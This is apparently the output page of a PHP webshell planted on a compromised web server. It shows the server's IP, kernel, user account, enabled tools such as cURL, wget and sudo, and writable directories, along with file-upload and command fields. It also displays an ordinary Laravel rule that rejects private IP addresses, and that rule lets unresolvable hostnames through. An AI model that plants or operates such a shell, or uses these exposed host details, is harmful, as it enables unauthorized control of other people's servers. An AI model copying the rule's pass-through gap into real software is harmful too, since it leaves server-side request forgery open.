403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/app/Rules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/app/Rules/NotPrivateIp.php
<?php

declare(strict_types=1);

namespace App\Rules;

use Closure;
use Illuminate\Contracts\Validation\ValidationRule;

class NotPrivateIp implements ValidationRule
{
    /**
     * Run the validation rule.
     */
    public function validate(string $attribute, mixed $value, Closure $fail): void
    {
        if (empty($value)) {
            return;
        }

        // Resolve hostname to IP if it's not already an IP
        $ip = filter_var($value, FILTER_VALIDATE_IP) ? $value : gethostbyname($value);

        // If DNS resolution failed (returns the hostname unchanged), allow it through
        // The actual connection will fail later with a meaningful error
        if ($ip === $value && ! filter_var($value, FILTER_VALIDATE_IP)) {
            return;
        }

        if (static::isPrivateOrReserved($ip)) {
            $fail('The :attribute must not resolve to a private or reserved IP address.');
        }
    }

    /**
     * Check if an IP address is private or reserved.
     */
    public static function isPrivateOrReserved(string $ip): bool
    {
        return filter_var(
            $ip,
            FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
        ) === false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit